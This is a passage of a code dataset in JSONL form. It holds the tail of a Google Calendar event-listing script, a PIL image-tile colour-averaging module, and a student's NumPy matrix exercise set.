(datetime.datetime.utcnow().date()).isoformat() + 'T00:00:00.000Z' # 'Z' indicates UTC time\n yesterday = (datetime.datetime.utcnow().date() - datetime.timedelta(1)).isoformat() + 'T00:00:00.000Z' # 'Z' indicates UTC time\n events_result = service.events().list(calendarId='primary', timeMin=yesterday, timeMax=today,\n maxResults=100, singleEvents=True,\n orderBy='startTime').execute()\n events = events_result.get('items', [])\n\n # if not events:\n # print('No events found.')\n for event in events:\n # start = event['start'].get('dateTime', event['start'].get('date'))\n # print(start, event['summary'])\n print(event['summary'])\n\nif __name__ == '__main__':\n main()\n","sub_path":"gcalreport.py","file_name":"gcalreport.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"431314309","text":"from PIL import Image\n\n\ndef get_rgb(image, N, x, y):\n\n div = x // N\n rgbimg = []\n ytile = 0\n\n while ytile < y:\n xtile = 0\n while xtile < x:\n r, g, b = get_average_color(xtile, ytile, div, image)\n rgbimg += [(r, g, b)]\n xtile += div\n ytile += div\n return rgbimg\n\n\ndef get_average_color(x, y, n, image):\n \"\"\" Returns a 3-tuple containing the RGB value of the average color of the\n given square bounded area of length = n whose origin (top left corner) \n is (x, y) in the given image\"\"\"\n\n image = Image.open(image).load()\n r, g, b = 0, 0, 0\n count = 0\n for s in range(x, x + n):\n for t in range(y, y + n):\n pixlr, pixlg, pixlb = image[s, t]\n r += pixlr\n g += pixlg\n b += pixlb\n count += 1\n return ((r // count), (g // count), (b // count))\n\nif __name__ == \"__main__\":\n r, g, b = get_average_color(528,528,528,'resized.jpeg')\n print(r,g,b)\n print(get_rgb('resized.jpeg',16))\n","sub_path":"image_processing/get_rgb.py","file_name":"get_rgb.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"178935067","text":"import numpy as np\n\ndef problem1():\n A = np.array([[3, -1, 4],[1, 5, -9]])\n B = np.array([[2, 6, -5, 3],[5, -8, 9, 7],[9, -3, -2, -3]])\n return np.dot(A, B)\n\ndef problem2():\n A = np.array([[3, 1, 4],[1, 5, 9],[-5, 3, 1]])\n return -np.dot(np.dot(A,A),A)+9*np.dot(A,A)-15*A\n\ndef problem3():\n A = np.triu(np.ones((7,7)))\n B = np.tril(np.full((7,7),-6))+5\n ABA = np.dot(np.dot(A,B),A)\n return ABA.astype(np.int64)\n\ndef problem4(A):\n mask = A < 0\n A[mask] = 0\n return A\n\ndef problem5():\n A = np.array([[0, 2, 4],[1, 3, 5]])\n B = np.tril(np.full((3,3),3))\n C = np.eye(3)*-2\n zero1 = np.full_like(B,0)\n zero2 = np.zeros((2,3))\n zero3 = np.zeros((2,2))\n I = np.eye(3)\n row2 = np.hstack((A,zero3,zero2))\n row1 = np.hstack((zero1,A.T,I))\n row3 = np.hstack((B,zero2.T,C))\n return np.vstack((row1,row2,row3))\n\ndef problem6(A):\n A.astype(np.float64)\n x = A.sum(axis=1)\n y = x.reshape((x.size,1))\n return A/y\n\ndef problem7():\n grid = np.load(r\"/Users/rubyzhang/Desktop/UChicago/OSML/BootCamp2017/Computation/Wk1_PyIntro/grid.npy\")\n win_h = np.max(grid[:,:-3]*grid[:,1:-2]*grid[:,2:-1]*grid[:,3:])\n win_v = np.max(grid[:-3,:]*grid[1:-2,:]*grid[2:-1,:]*grid[3:,:])\n win_rd = np.max(grid[:-3,:-3]*grid[1:-2,1:-2]*grid[2:-1,2:-1]*grid[3:,3:])\n win_ld = np.max(grid[3:,:-3]*grid[2:-1,1:-2]*grid[1:-2,2:-1]*grid[:-3,3:])\n return np.max([win_h,win_v,win_rd,win_ld])\n\ntest = np.array([[1,-5,3],[-3,8,9],[-44,3,2]])\ntest2 = np.array([[1,5,3],[3,8,9],[44,3,2]])\nprint (problem1())\nprint (problem2())\nprint (problem3())\nprint (problem4(test))\nprint (problem5())\nprint (problem6(test2))\nprint (problem7())\n","sub_path":"ProbSets/Comp/Week 1/rzhang_NumPy.py","file_name":"rzhang_NumPy.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"}